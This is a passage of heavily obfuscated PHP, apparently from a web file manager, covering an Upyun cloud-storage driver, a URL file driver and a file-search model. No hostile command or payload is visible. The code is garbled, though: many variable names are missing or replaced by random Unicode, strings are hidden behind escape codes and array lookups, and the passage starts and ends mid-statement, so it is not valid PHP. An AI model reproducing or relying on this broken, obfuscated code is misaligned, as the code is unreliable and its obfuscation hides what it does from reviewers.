!0; } private function ussHeaders($, $ = "\107\105\124") { $ =& $_SERVER[]; $̅ = gmdate($[1466]); $Ɏ = base64_encode(hash_hmac($[1530], "{$}\x26{$}\x26{$̅}", md5("{$this->userpass}"), !0)); $ߍ = array("\101\165\x74\x68\157\162\x69\172\x61\164\x69\x6f\x6e\72\x55\120\x59\125\x4e\x20{$this->username}\x3a{$Ɏ}", "\x44\141\164\145\72{$̅}"); return $ߍ; } public function ussRequest($ሂ, $Ӽ = "\107\105\124", $ = false, $ = false, $nj = false) { $ =& $_SERVER[]; $ሂ = trim($ሂ, $[8]); $ܥ = "\57{$this->bucket}\57{$ሂ}"; $ = $this->ussHeaders($ܥ, $Ӽ); if ($) { $ = array_merge($, $); } $瞉 = url_request($this->endpoint . $ܥ, $Ӽ, $, $, $nj); if (!$瞉) { $ = LNG($[1531]); $this->writeLog($); return array($[1266] => !1, $[1256] => $); } if (strtolower($Ӽ) == $[218] || in_array($瞉[$[1266]], array($[265], $[1532]))) { $ = $瞉[$[1533]]; } else { $ = json_decode($瞉[$[1256]], !0); if (!$) { $ = $瞉[$[1256]]; } else { if (!$瞉[$[795]] && isset($[$[1534]])) { $ = $[$[1534]]; } } } if (!$瞉[$[795]]) { $this->writeLog($this->__errorMessage($)); } return array($[1266] => $瞉[$[795]], $[1256] => $); } private function __errorMessage($ɫ) { $ =& $_SERVER[]; if (!$ɫ) { return $[12]; } static $˳ = null; if (!$˳) { $˳ = I18n::getType(); } if ($˳ != $[1476]) { return $ɫ; } $ = array($[1535] => $[1536], $[1537] => $[1538], $[1539] => $[1538], $[1540] => $[1541], $[1542] => $[1543], $[1544] => $[1545], $[1546] => $[1547]); return isset($[$ɫ]) ? $[$ɫ] : $ɫ; } public function mkfile($΢É, $ǀ = '', $̷Ǹ = REPEAT_RENAME) { if ($this->setContent($΢É, $ǀ)) { return $this->getPathOuter($΢É); } return !1; } public function mkdir($, $ޅ = REPEAT_SKIP) { $ =& $_SERVER[]; $ = trim($, $[8]); if ($this->_isFolder($)) { return $this->getPathOuter($); } $뛟Ⱥ = array($[1548]); $ = $this->ussRequest($, $[248], !1, $뛟Ⱥ); return $[$[1266]] ? $this->getPathOuter($) : !1; } public function copyFile($鏬, $⸮) { $Ë =& $_SERVER[]; $ڊ = array($Ë[1549] . "\57{$this->bucket}\57{$鏬}", $Ë[1550]); $Ğ = $this->ussRequest($⸮, $Ë[250], !1, $ڊ); return $Ğ[$Ë[1266]] ? !0 : $this->getPathOuter($⸮); } public function moveFile($Տ, $) { $Є =& $_SERVER[]; $ = array($Є[1551] . "\57{$this->bucket}\x2f{$Տ}", $Є[1550]); $ = $this->ussRequest($, $Є[250], !1, $); return $[$Є[1266]] ? !0 : $this->getPathOuter($); } public function delFile($) { $ =& $_SERVER[]; $ȿ‹ = $this->ussRequest($, $[1552]); return $ȿ‹[$[1266]] ? !0 : !1; } public function delFolder($) { $ͧ =& $_SERVER[]; if (!$this->exist($)) { return !0; } $this->listItemCache = !1; $󗱃 = $ = array(); $this->fileList($, $󗱃, $, !0); $this->listItemCache = !0; foreach ($ as $×) { $ = $this->ussRequest($×[$ͧ[32]], $ͧ[1552]); if (!$[$ͧ[1266]]) { return !1; } } foreach ($󗱃 as $) { $ = $this->ussRequest($, $ͧ[1552]); if (!$[$ͧ[1266]]) { return !1; } } $ = $this->ussRequest($, $ͧ[1552]); return $[$ͧ[1266]]; } public function rename($얩, $) { if ($this->isFile($얩)) { $ = get_path_father($얩) . $; return $this->moveFile($얩, $); } return $this->renameObject($얩, $); } public function fileInfo($, $ = false, $ = array()) { $ =& $_SERVER[]; $˄ = array($[32] => $this->pathThis($), $[87] => $this->getPathOuter($[8] . $), $[33] => $[221], $[79] => isset($[$[79]]) ? $[$[79]] : 0, $[178] => $this->ext($)); if ($) { return $˄; } $˄[$[222]] = $˄[$[88]] = 0; $˄[$[223]] = $˄[$[224]] = !0; if (empty($)) { $ = $this->objectMeta($); if (!$) { return $˄; } } $˄[$[222]] = intval($[$[1553]]); $˄[$[88]] = intval($[$[1554]]); $˄[$[79]] = $[$[79]]; return $˄; } public function folderInfo($Շ, $ϝ = false) { $Ѳ =& $_SERVER[]; $ = array($Ѳ[32] => $this->pathThis($Շ), $Ѳ[87] => $this->getPathOuter($Ѳ[8] . $Շ), $Ѳ[33] => $Ѳ[78]); if ($ϝ) { return $; } $[$Ѳ[222]] = $[$Ѳ[88]] = 0; $[$Ѳ[223]] = $[$Ѳ[224]] = !0; if (empty($Ρ)) { $Ρ = $this->objectMeta($Շ); if (!$Ρ) { return $; } } $[$Ѳ[222]] = intval($Ρ[$Ѳ[1553]]); $[$Ѳ[88]] = intval($Ρ[$Ѳ[1554]]); return $; } private function listObjs($, $ˌ = 0, $ = 1000) { $܇ =& $_SERVER[]; $ = array($܇[1555], $܇[1556] . $); if ($ˌ) { $[] = $܇[1557] . $ˌ; } $ƒ = $this->ussRequest($, $܇[252], !1, $); return !$ƒ[$܇[1266]] ? !1 : $ƒ[$܇[1256]]; } private function fileList($, &$ש, &$Յ, $щ = false) { $ =& $_SERVER[]; $ܙ = $[12]; $윗 = 1000; $ = rtrim($, $[8]) . $[8]; while (!0) { check_abort(); $޾ = $this->listObjs($, $ܙ, $윗); if (!$޾) { return !1; } $ܙ = isset($޾[$[1558]]) ? $޾[$[1558]] : $[12]; $߀ = isset($޾[$[1559]]) ? $޾[$[1559]] : array(); foreach ($߀ as $) { $񺶴 = $[$[33]] == $[78] ? !0 : !1; $؉ = ltrim($ . $[$[32]], $[8]) . ($񺶴 ? $[8] : $[12]); $ɹف = array($[32] => $؉, $[33] => $񺶴 ? $[78] : $[221], $[79] => $[$[388]], $[1554] => $[$[1560]]); $this->cacheMethodInfoSet($؉, $񺶴, $ɹف); if ($񺶴) { $ש[] = $؉; if ($щ) { $this->fileList($؉, $ש, $Յ, $щ); } continue; } $Յ[] = $ɹف; } if (count($߀) < $윗) { break; } } $this->cacheMethodInfoSet($, !0); } public function listPath($՞, $щ = false) { $ =& $_SERVER[]; $ = $Ƴ = array(); $this->fileList($՞, $, $Ƴ); foreach ($ as $й => $) { $[$й] = $this->folderInfo($, $щ); } foreach ($Ƴ as $й => $) { $Ƴ[$й] = $this->fileInfo($[$[32]], $щ, $); } return array($[85] => $, $[86] => $Ƴ); } public function has($, $ = false, $ؖ = true) { $̻ =& $_SERVER[]; $ܺ = $̻[12]; $؍ = 500; $ = 0; $ = 0; $ = rtrim($, $̻[8]) . $̻[8]; while (!0) { check_abort(); $ = $this->listObjs($, $ܺ, $؍); if (!$) { return !1; } $ܺ = isset($[$̻[1558]]) ? $[$̻[1558]] : $̻[12]; $▙ = isset($[$̻[1559]]) ? $[$̻[1559]] : array(); if (empty($▙)) { break; } $ = array_filter($▙, function ($) { $ =& $_SERVER[]; return $[$[33]] == $[78]; }); $« = count($▙); $ = count($); $̭ = $« - $; if ($) { $ += $; $ += $̭; if ($« < $؍) { break; } continue; } if ($ؖ) { if ($̭) { return !0; } } else { if ($) { return !0; } } if ($« < $؍) { break; } } if ($) { return array($̻[230] => $, $̻[231] => $); } return !1; } public function listAll($) { $񞴁 =& $_SERVER[]; $찔 = $Ƥ = array(); $this->fileList($, $찔, $Ƥ, !0); $ = array_to_keyvalue($Ƥ, $񞴁[32]); foreach ($찔 as $) { if (is_string($)) { $[$] = array($񞴁[79] => 0); } } return $this->listAllFiles($, $); } public function canRead($ވ) { return $this->exist($ވ) ? !0 : !1; } public function canWrite($ؾȷ) { return $this->exist($ؾȷ) ? !0 : !1; } public function getContent($摺) { return $this->fileSubstr($摺, 0, -1); } public function setContent($⭳, $ٱ = '') { $ʫ =& $_SERVER[]; if (!$ٱ) { $迄 = $this->ussRequest($⭳, $ʫ[248]); return $迄[$ʫ[1266]]; } $Й = $this->tempFile($this->pathThis($⭳)); file_put_contents($Й, $ٱ); if ($this->upload($⭳, $Й)) { $this->tempFileRemve($Й); return !0; } return !1; } public function fileSubstr($, $ֶ, $쏫) { $ɗ =& $_SERVER[]; if (!($ = $this->link($))) { return !1; } $Ѕ = !1; if ($쏫 > 0) { $ܬҥ = $ֶ + $쏫 - 1; $Ѕ = array($ɗ[1508] . $ֶ . $ɗ[437] . $ܬҥ); } $ = url_request($, $ɗ[252], !1, $Ѕ); return $[$ɗ[795]] ? $[$ɗ[1256]] : !1; } public function upload($Ш, $ג, $谆 = false, $ = REPEAT_REPLACE) { $䭒 =& $_SERVER[]; $փ = IO::size($ג); if ($փ <= 1024 * 1024 * 200) { $Ÿ = array($䭒[1561] . $ג); $ = $this->ussRequest($Ш, $䭒[250], $Ÿ); return $[$䭒[1266]] ? $this->getPathOuter($Ш) : !1; } $ = 1024 * 1024 * 10; $ɝ = array($䭒[1562], $䭒[1563] . $փ, $䭒[1564], $䭒[1565] . $); $ = $this->ussRequest($Ш, $䭒[250], !1, $ɝ); if (!$[$䭒[1266]]) { return !1; } $ = $[$䭒[1256]]; $ = 0; $އ = $[$䭒[1566]]; $ = fopen($ג, $䭒[1427]); if (!$) { return !1; } do { $ = $[$䭒[1567]]; fseek_64($, $); $Ψ = fread($, $); $Ӝ = 0; do { $Ӝ++; $ = $this->uploadPart($Ш, $, $Ψ); } while (!$ && $Ӝ < 3); if (!$) { return !1; } $އ = $[$䭒[1566]]; $ += $; } while ($އ != -1); fclose($); $ɝ = array($䭒[1568], $䭒[1569] . $[$䭒[1570]], $䭒[1564]); $ = $this->ussRequest($Ш, $䭒[250], !1, $ɝ); return $[$䭒[1266]] ? $this->getPathOuter($ꀰ) : !1; } private function uploadPart($, $ɝ, &$) { $ =& $_SERVER[]; $̮ = array($[1571], $[1569] . $ɝ[$[1570]], $[1572] . $ɝ[$[1566]], $[146] . $ɝ[$[1567]]); $۟ = $this->ussRequest($, $[250], $, $̮); return !$۟[$[1266]] ? $۟[$[1266]] : $۟[$[1256]]; } public function uploadFormData($Ö, $Ճ = 3600) { return $this->uploadPolicy($Ö, $Ճ); } public function multiUploadFormData($Ъ, $ň = 3600) { $ =& $_SERVER[]; $ԟՁ֏ = (int) $GLOBALS[$[7]][$[79]]; return $this->uploadPolicy($Ъ, $ň, $ԟՁ֏); } private function uploadPolicy($, $۾ = 3600, $ = 0) { $ =& $_SERVER[]; $ = $[8] . $this->bucket; $ = gmdate($[1466]); $ދի = array($[1573] => $this->bucket, $[1574] => $, $[1575] => time() + $۾, $[1576] => $); if ($) { $ދի[$[1447]] = $; } $Ђ = base64_encode(json_encode($ދի)); $ו = base64_encode(hash_hmac($[1530], "\x50\x4f\123\124\x26{$}\46{$}\46{$Ђ}", md5("{$this->userpass}"), !0)); $͂Ώ = array($[284] => $Ђ, $[1577] => "\125\120\131\125\116\40{$this->username}\x3a{$ו}", $[199] => $this->endpoint . $); return $͂Ώ; } public function download($ˆ, $) { $Į = IO::getPathInner(IO::mkfile($)); if (!($ = $this->link($ˆ))) { return !1; } $ŏ = 0; $ = 1024 * 200; $ = fopen($Į, $_SERVER[][1514]); while (!0) { $ = $this->fileSubstr($ˆ, $ŏ, $); if ($ === !1) { return !1; } fwrite($, $); $ŏ += $; if (strlen($) < $) { break; } } fclose($); return $; } public function link($, $͍ = array()) { $ =& $_SERVER[]; $ = trim($, $[8]); if (!empty($this->token)) { $ɸ = strtotime(date($[1578])); $ = substr(md5($this->token . $[335] . $ɸ . $[1579] . $), 12, 8) . $ɸ; $͍[] = $[1580] . $; } $· = !empty($͍) ? $[76] . implode($[335], $͍) : $[12]; return $this->getHost() . $[8] . $ . $·; } public function fileOut($, $˵ނ = false, $ٲ = false, $ = '') { if ($this->isFileOutServer()) { return $this->fileOutServer($, $˵ނ, $ٲ, $); } if (!$ٲ) { $ٲ = $this->pathThis($); } $ɭȇ = $˵ނ ? array($_SERVER[][1581] . rawurlencode($ٲ)) : array(); $› = $this->link($, $ɭȇ); $this->fileOutLink($›); } public function fileOutServer($, $ = false, $ջ = false, $ږ = '') { parent::fileOut($, $, $ջ, $ږ); } public function fileOutImage($ҳ͐, $ = 250) { $ᅜ = $this->link($ҳ͐ . $_SERVER[][1582] . $); $this->fileOutLink($ᅜ); } public function fileOutImageServer($䇥, $ڜ = 250) { parent::fileOutImage($䇥, $ڜ); } public function hashMd5($Ό۲) { $ =& $_SERVER[]; $ = $this->_objectMeta($Ό۲); return isset($[$[236]]) ? $[$[236]] : !1; } public function size($π) { $ƻ = $this->objectMeta($π); return $ƻ ? $ƻ[$_SERVER[][79]] : 0; } public function info($ԫ) { if ($this->isFolder($ԫ)) { return $this->folderInfo($ԫ); } else { if ($this->isFile($ԫ)) { return $this->fileInfo($ԫ); } } return !1; } public function exist($Ы) { return $this->isFile($Ы) || $this->isFolder($Ы); } public function isFile($筁) { return !$this->isFolder($筁) && $this->objectMeta($筁); } public function isFolder($ط) { return $this->cacheMethod($_SERVER[][169], $ط); } protected function objectMeta($욎) { return $this->cacheMethod($_SERVER[][171], $욎); } protected function _objectMeta($) { $ =& $_SERVER[]; if ($ == $[12] || $ == $[8]) { return array(); } $ש = $this->ussRequest($, $[1583]); if (!$ש[$[1266]]) { return null; } $ = isset($ש[$[1256]]) ? $ש[$[1256]] : array(); if (!isset($[$[1584]])) { return null; } $Τۚ = array($[33] => isset($[$[1584]]) ? $[$[1584]] : null, $[79] => isset($[$[1585]]) ? $[$[1585]] : null, $[236] => isset($[$[1586]]) ? $[$[1586]] : null, $[1553] => isset($[$[1587]]) ? $[$[1587]] : null); $Τۚ[$[1554]] = isset($[$[1588]]) ? strtotime($[$[1588]]) : $Τۚ[$[1553]]; return $Τۚ; } protected function _isFolder($ƌ) { $ʫ =& $_SERVER[]; if ($ƌ == $ʫ[12] || $ƌ == $ʫ[8]) { return !0; } $ь = $this->_objectMeta($ƌ); return isset($ь[$ʫ[33]]) && $ь[$ʫ[33]] == $ʫ[78] ? !0 : !1; } } class PathDriverUrl extends PathDriverBase { static $_cacheHeader = array(); public function __construct($ُܬƒ = false) { } public function exist($Ǐ) { $ = $this->info($Ǐ); return $[$_SERVER[][223]]; } public function isFile($) { $ҹ = $this->info($); return $ҹ[$_SERVER[][223]]; } public function isFolder($) { return !1; } public function size($Է) { $Β = $this->info($Է); return $Β[$_SERVER[][79]]; } public function info($֊) { return $this->infoParse($֊); } public function infoAuth($֗) { return $this->infoParse($֗); } public function infoWithChildren($Φ) { return $this->infoParse($Φ); } public function infoFull($̑) { return $this->infoParse($̑); } private function infoParse($۲) { $۪ =& $_SERVER[]; $ͬ = $this->header($۲); if (!$ͬ || !$ͬ[$۪[795]]) { return !1; } $͊ = _get($ͬ, $۪[388], 0); $ȸȊ = array($۪[32] => $ͬ[$۪[32]], $۪[87] => $۲, $۪[33] => $۪[221], $۪[79] => intval($͊), $۪[178] => get_path_ext($ͬ[$۪[32]]), $۪[1424] => $͊ > 0 && $ͬ[$۪[1589]], $۪[1425] => !1); return $ȸȊ; } private function header($⩭) { $݂ =& $_SERVER[]; if (isset(self::$_cacheHeader[$⩭])) { return self::$_cacheHeader[$⩭]; } $ = isset($GLOBALS[$݂[1590]]) ? $GLOBALS[$݂[1590]] : !1; $GLOBALS[$݂[1590]] = !0; self::$_cacheHeader[$⩭] = url_header($⩭); $GLOBALS[$݂[1590]] = $; return self::$_cacheHeader[$⩭]; } public function hashSimple($, $΅ = false) { $͊Խ =& $_SERVER[]; $ޣԑ = $this->info($); if (!$ޣԑ || !$ޣԑ[$͊Խ[223]]) { return !1; } $䜗 = $ޣԑ[$͊Խ[79]]; $ù = 200; $뷊 = 50; if ($䜗 <= $ù * $뷊) { return md5($this->fileSubstr($, 0, $䜗)) . $䜗; } $ޮ = intval($䜗 / $뷊); $ = $͊Խ[12]; $ = timeFloat(); $ﳑ = 15; for ($ग़ = 0; $ग़ < $뷊; $ग़++) { if (timeFloat() - $ > $ﳑ) { return !1; } $ = $this->fileSubstr($, $ޮ * $ग़, $ù); if (!$) { return !1; } $ .= $; } $ .= $this->fileSubstr($, $䜗 - $ù, $ù); return md5($) . $䜗; } public function getContent($݁) { return $this->fileSubstr($݁); } public function fileSubstr($ǍЮ, $ = 0, $ح = -1) { $ݔ㊋ =& $_SERVER[]; $Ԋ = $this->info($ǍЮ); if (!$Ԋ || !$Ԋ[$ݔ㊋[223]] && $Ԋ[$ݔ㊋[79]] > 1024 * 1024 * 10) { return !1; } if ($ح === -1) { $ح = $Ԋ[$ݔ㊋[79]]; } if ($ح == 0) { return $ݔ㊋[12]; } $󩷰Ӂ = array($ݔ㊋[1591] . $ . $ݔ㊋[829] . ($ + $ح - 1)); $ = url_request($ǍЮ, $ݔ㊋[252], !1, $󩷰Ӂ, !1, !1, 30); return $[$ݔ㊋[1256]] ? $[$ݔ㊋[1256]] : $ݔ㊋[12]; } public function download($ᡳ, $ڇ) { Downloader::start($ᡳ, $ڇ); return $ڇ; } } goto F҇÷; Eǭ: class SourceListSearchModel extends SourceListMoveModel { public static function fileTypeWhere($) { $ =& $_SERVER[]; $㟰 = KodIO::fileTypeList(); $ɉĦ = $㟰[$]; if (!$ɉĦ) { return array(); } $԰ = $ɉĦ[$[178]]; $ݳ = $[7]; if (!$ɉĦ[$[178]]) { $ԭ = array_to_keyvalue($㟰, $[12], $[178]); $԰ = implode($[50], $ԭ); $ݳ = $[2215]; } $Ɠ = explode($[50], trim($԰, $[50])); return array($ݳ, $Ɠ); } public function listPathType($Ǒٰ) { $ِ =& $_SERVER[]; $峉 = $this->fileTypeWhere($Ǒٰ); if (!$峉) { return array(); } $ = USER_ID; $ = Model($ِ[574])->getInfo($); $ = array($ِ[623] => SourceModel::TYPE_USER, $ِ[560] => array($ِ[587], $ِ[570] . $[$ِ[90]][$ِ[184]] . $ِ[588]), $ِ[624] => $, $ِ[621] => 0, $ِ[622] => $峉); return $this->listSource($); } public function listSearch($ݗ, $ŕ = 300) { $ =& $_SERVER[]; if (isset($ݗ[$[2051]]) && $ݗ[$[2051]]) { $ݗ[$[2051]] = str_replace($[435], $[2216], trim($ݗ[$[2051]])); } $ = $this->_parseSearchWhere($ݗ); if (!isset($[$[480]])) { $[$[480]] = 0; } $ᆘ = $[2217]; $먨 = $; $ѿ = $ᆘ; $this->_listSearchBindPinyin($ݗ, $, $ᆘ); $this->alias($[494])->_makeOrder(); $ = $this->parseWhereLike($); $틎 = $this->distinct(!0)->field($ᆘ)->where($)->selectPage($ŕ); if ($GLOBALS[$[6]][$[432]][$[433]] && Input::check($ݗ[$[2051]], $[630]) && $틎[$[417]][$[404]] == 1 && $틎[$[417]][$[418]] == 0) { $틎 = $this->distinct(!0)->field($ᆘ)->where($먨)->limit(1000)->select(); $틎 = array_page_split($틎, !1, $ŕ); } $this->_listSearchFileContent($틎, $ݗ, $ѿ, $먨); $this->_listSearchDesc($틎, $ݗ, $ѿ); $this->_listSearchTag($틎, $ݗ, $ѿ); $this->_listSearchGroupTag($틎, $ݗ, $ѿ); $this->_listDataApply($틎[$[420]]); $this->_listMake($틎); return $틎; } private function _listSearchFileContent(&$, $ܴኋ, $, $) { $ =& $_SERVER[]; if (!$ܴኋ[$[2051]] || $[$[417]][$[404]] > 1) { return; } if (!isset($[$[32]]) || !is_array($ܴኋ[$[516]])) { return; } $[$[516]] = array($[7], $ܴኋ[$[516]]); unset($[$[32]]); unset($ܴኋ[$[516]]); $ = $this->field($)->where($)->limit($[2218])->select(); if (!$ || count($) == 0) { return; } $[$[420]] = array_merge($, $[$[420]]); $[$[417]][$[418]] += count($); } private function _listSearchTag(&$, $, $) { $䓅 =& $_SERVER[]; if (!$[$䓅[2051]] || $[$䓅[417]][$䓅[404]] > 1) { return; } $Ղޑ = Model($䓅[2219])->listData(); $ = array(); $Ù = $[$䓅[2051]]; foreach ($Ղޑ as $) { $翽 = $[$䓅[32]]; $ = str_replace($䓅[53], $䓅[12], Pinyin::get($翽)); if (stripos($翽, $Ù) !== !1 || stripos($, $Ù) !== !1) { $[] = $[$䓅[450]]; } } if (!$) { return; } $ = array($䓅[475] => array($䓅[7], $), $䓅[1753] => USER_ID); $ = Model($䓅[477])->field($䓅[87])->where($)->select(); $ = array_to_keyvalue($, $䓅[12], $䓅[87]); $ = array_unique($); $this->_listSearchMerge($, $, $, $); } private function _listSearchDesc(&$ˎ, $ȧ, $) { $垙 =& $_SERVER[]; if (!$ȧ[$垙[2051]] || $ˎ[$垙[417]][$垙[404]] > 1) { return; } $͞ = array($垙[97] => $垙[501], $垙[425] => array($垙[434], $垙[2053] . $ȧ[$垙[2051]] . $垙[2053])); $ = !1; if ($) { $ = $this->listSearchChildren($ȧ[$垙[183]]); $ = array_unique($); if (!$) { return; } $͞[$垙[184]] = array($垙[7], $); } $ = Model($垙[607])->field($垙[184])->where($͞)->limit(5000)->select(); $ = array_to_keyvalue($, $垙[12], $垙[184]); $this->_listSearchMerge($ˎ, $ȧ, $, $); } private function _listSearchGroupTag(&$λ, $ۜ, $) { $ޥō =& $_SERVER[]; if (!$ۜ[$ޥō[2051]] || $λ[$ޥō[417]][$ޥō[404]] > 1 || !$ۜ[$ޥō[183]]) { return; } $ = $this->sourceInfo($ۜ[$ޥō[183]]); if (!$ || $[$ޥō[181]] != SourceModel::TYPE_GROUP) { return; } $ґ = $[$ޥō[545]]; $ސ⃉ = Model($ޥō[2220])->get($ґ); $ñ = array(); $਼ = $ۜ[$ޥō[2051]]; foreach ($ސ⃉[$ޥō[420]] as $ᯁ) { $ڑ = $ᯁ[$ޥō[32]]; $ = str_replace($ޥō[53], $ޥō[12], Pinyin::get($ڑ)); if (stripos($ڑ, $਼) !== !1 || stripos($, $਼) !== !1) { $ñ[] = $ᯁ[$ޥō[450]]; } } if (!$ñ) { return; } $֯ = array($ޥō[475] => array($ޥō[7], $ñ), $ޥō[1753] => 0, $ޥō[33] => $ޥō[2073] . $ґ); $싏 = Model($ޥō[477])->field($ޥō[87])->where($֯)->select(); $싏 = array_to_keyvalue($싏, $ޥō[12], $ޥō[87]); $д̕ = array_unique($싏); $this->_listSearchMerge($λ, $ۜ, $, $д̕); } private function _listSearchMerge(&$, $, $, $) { $Ѷ =& $_SERVER[]; if (!$) { return; } $桌 = array_to_keyvalue($[$Ѷ[420]], $Ѷ[12], $Ѷ[184]); $𵲂 = array_diff($, $桌); if (!$𵲂) { return; } $֍ = array($Ѷ[184] => array($Ѷ[7], $𵲂)); $ʪ = $this->field($)->where($֍)->select(); if (!$ʪ) { return; } $ = array(); foreach ($ʪ as $͟) { if ($this->_listSearchFilter($͟, $)) { $[] = $͟; } } $[$Ѷ[420]] = array_merge($, $[$Ѷ[420]]); $[$Ѷ[417]][$Ѷ[418]] += count($); } private function _listSearchFilter($Ϊ, $̚) { $ =& $_SERVER[]; $ = $Ϊ[$[460]] == $[91]; if (!strstr($Ϊ[$[560]], $[50] . $̚[$[183]] . $[50])) { return !1; } if (isset($̚[$[461]]) && $̚[$[461]] != $[2008]) { if ($̚[$[461]] == $[78] && !$) { return !1; } if ($̚[$[461]] != $[78] && $) { return !1; } if (!strstr($Ϊ[$[178]], $[50] . $̚[$[461]] . $[50])) { return !1; } } if (isset($̚[$[2221]]) && $̚[$[2221]] < $Ϊ[$[79]]) { return !1; } if (isset($̚[$[2222]]) && $̚[$[2222]] > $Ϊ[$[79]]) { return !1; } if (isset($̚[$[637]]) && $̚[$[637]] != $Ϊ[$[504]]) { return !1; } return !0; } public function listSearchChildren($ᭇށ, $ã = 5000) { $ =& $_SERVER[]; $ = array(); $ = $this->sourceInfo($ᭇށ); $ = array($[560] => array($[434], $[$[560]] . $[$[184]] . $[588])); $ = $this->field($[79])->where($)->limit($ã + 1)->select(); $ސ = is_array($) ? count($) : 0; if ($ސ > $ã) { return $this->_listSearchChildrenNear($ᭇށ, $ã); } $²ƛ = $this->field($[184])->where($)->select(); $ = array_to_keyvalue($²ƛ, $[12], $[184]); return $; } private function _listSearchChildrenNear($ۢ, $۲ۍ) { $և =& $_SERVER[]; $޹ = array(); $ = array($և[183] => $ۢ); $֡ = $this->field($և[2223])->where($)->select(); $症 = array_to_keyvalue(array_filter_by_field($֡, $և[460], $և[91]), $և[12], $և[184]); $޹ = array_merge($޹, array_to_keyvalue($֡, $և[12], $և[184])); if (!$症) { return $޹; } $ = array($և[183] => array($և[7], $症)); $֡ = $this->field($և[2223])->where($)->limit($۲ۍ)->select(); $޹ = array_merge($޹, array_to_keyvalue($֡, $և[12], $և[184])); $޹ = array_slice($޹, 0, intval($۲ۍ)); return $޹; } private function _listSearchBindPinyin($༅, &$ڙ, &$ȯ) { $ɖ =& $_SERVER[]; if (!isset($༅[$ɖ[2051]]) || !$༅[$ɖ[2051]]) { return; } if (!Input::check($༅[$ɖ[2051]], $ɖ[369]) || strlen($༅[$ɖ[2051]]) < 2) { return; } $Ő = "\x4c\x45\x46\124\40\x4a\x4f\x49\x4e\x20{$this->tablePrefix}\x69\x6f\137\x73\157\165\162\143\x65\x5f\155\145\x74\x61\40\155\145\x74\x61\x20\157\x6e\x20\163\x6f\165\x72\x63\x65\x2e\x73\x6f\165\x72\143\x65\x49\x44\40\75\40\x6d\x65\x74\x61\x2e\163\x6f\165\x72\x63\145\111\x44"; $ = array(); $ȯ = str_replace(array($ɖ[253], $ɖ[53], $ɖ[2224]), $ɖ[12], $ȯ); $ȯ = $ɖ[486] . str_replace($ɖ[50], $ɖ[487], $ȯ); $ۏ = $ڙ[$ɖ[32]]; unset($ڙ[$ɖ[32]]); foreach ($ڙ as $̨ʡ => $) { $[$ɖ[486] . $̨ʡ] = $; } foreach ($ۏ as $) { $[] = array($ɖ[491] => $, $ɖ[1050] => $ɖ[2055], array($ɖ[2225] => $, $ɖ[2226] => array($ɖ[7], array($ɖ[513], $ɖ[512])))); } $this->join($Ő); $ڙ = $; } private function _parseSearchWhere($) { $ =& $_SERVER[]; $ͬ = array(); if (isset($[$[805]]) && $[$[805]]) { $ͬ[$[88]] = array($[2227], $[$[805]]); } if (isset($[$[806]]) && $[$[806]]) { $͋ = array($[2228], $[$[806]]); if ($ͬ[$[88]]) { $ͬ[$[88]] = array($ͬ[$[88]], $͋, $[2229]); } else { $ͬ[$[88]] = $͋; } } if (isset($[$[2221]]) && $[$[2221]] > 0) { $ͬ[$[79]] = array($[2227], $[$[2221]]); } if (isset($[$[2222]]) && $[$[2222]]) { $͋ = array($[2228], $[$[2222]]); if ($ͬ[$[79]]) { $ͬ[$[79]] = array($ͬ[$[79]], $͋, $[2229]); } else { $ͬ[$[79]] = $͋; } } if (isset($[$[637]]) && $[$[637]]) { $ͬ[] = array($[504] => $[$[637]], $[502] => $[$[637]], $[1050] => $[2055]); } if (isset($[$[461]]) && $[$[461]]) { $ = $[$[461]]; if ($ == $[78]) { $ͬ[$[460]] = 1; } else { if ($ == $[2230]) { $ͬ[$[460]] = 0; } else { if ($) { $ = is_array($) ? $ : explode($[50], $); $ͬ[$[461]] = array($[467], $); $ͬ[$[460]] = 0; } } } } $this->_parseSearchParent($, $ͬ); if (isset($[$[2051]]) && trim($[$[2051]])) { $± = trim($[$[2051]]); $ś = explode($[53], $±); if (strlen($±) > 2 && (substr($±, 0, 1) == $[121] && substr($±, -1) == $[121]) || substr($±, 0, 1) == $[58] && substr($±, -1) == $[58]) { $± = substr($±, 1, -1); $ś = array($±); } $ͬ[$[32]] = array(array($[587], $[2053] . $± . $[2053])); if (count($ś) > 1) { $ͬ[$[32]] = array(); foreach ($ś as $) { if (!trim($)) { continue; } $ͬ[$[32]][] = array($[587], $[2053] . trim($) . $[2053]); } } } return $ͬ; } private function _parseSearchParent($, &$Ƕɚ) { $װ =& $_SERVER[]; if (!isset($[$װ[183]]) || !$[$װ[183]]) { return; } $ܖ = $this->pathInfo($[$װ[183]]); $Ҝϣ = $ܖ[$װ[183]] . $װ[12] === $װ[219]; $ = $ܖ[$װ[181]] == $װ[554]; if ($ܖ[$װ[571]] == $װ[572]) { $ = $this->sourceInfo($[$װ[183]]); $ܖ[$װ[560]] = $[$װ[560]]; } $Ƕɚ[$װ[627]] = array($װ[587], $ܖ[$װ[560]] . $[$װ[183]] . $װ[588]); $ = isset($[$װ[1911]]) && in_array($װ[554], $[$װ[1911]]); if (!$ || !$ || !$Ҝϣ || !$ܖ[$װ[462]]) { return; } if (!AuthModel::authCheckRoot($ܖ[$װ[462]][$װ[463]])) { return; } $ = $ܖ[$װ[545]] . $װ[12]; if ($ == $װ[91]) { unset($Ƕɚ[$װ[627]]); $Ƕɚ[$װ[181]] = self::TYPE_GROUP; return; } $ = Model($װ[561])->groupChildrenAll($); $˒ = count($); if ($˒ <= 1) { return; } $ٰ = array($װ[183] => 0, $װ[181] => self::TYPE_GROUP, $װ[545] => array($װ[7], $)); $ = $this->field($װ[2231])->where($ٰ)->limit($˒)->select(); $Ƕɚ[$װ[627]] = array(); foreach ($ as $م) { $Ƕɚ[$װ[627]][] = array($װ[587], $װ[570] . $م[$װ[184]] . $װ[588]); } $Ƕɚ[$װ[627]][] = $װ[2055]; } } class SourceModel extends SourceListSearchModel { public $statusIgnoreResetSpace = false; public function userRootAdd($٢Ϟ) { $𰔛Ҽ =& $_SERVER[]; $ީߕ = Model($𰔛Ҽ[553])->where(array($𰔛Ҽ[1744] => $٢Ϟ))->find(); $ = $this->_mkdirRoot(SourceModel::TYPE_USER, $٢Ϟ, $ީߕ[$𰔛Ҽ[32]]); $this->userDesktopAdd($); return $; } public function userDesktopAdd($ω) { $ƕ =& $_SERVER[]; $ = LNG($ƕ[2232]); $ = $this->mkdir($ω, $); $this->metaSet($, $ƕ[2233], $ƕ[91]); $this->metaSet($ω, $ƕ[2234], $); } public function userPathSafeAdd($þ) { $眆 =& $_SERVER[]; $Ȧ = Model($眆[553])->getInfoFull($þ); if (!$Ȧ) { return !1; } if (_get($Ȧ, $眆[575])) { return $Ȧ[$眆[514]][$眆[2235]]; } $ 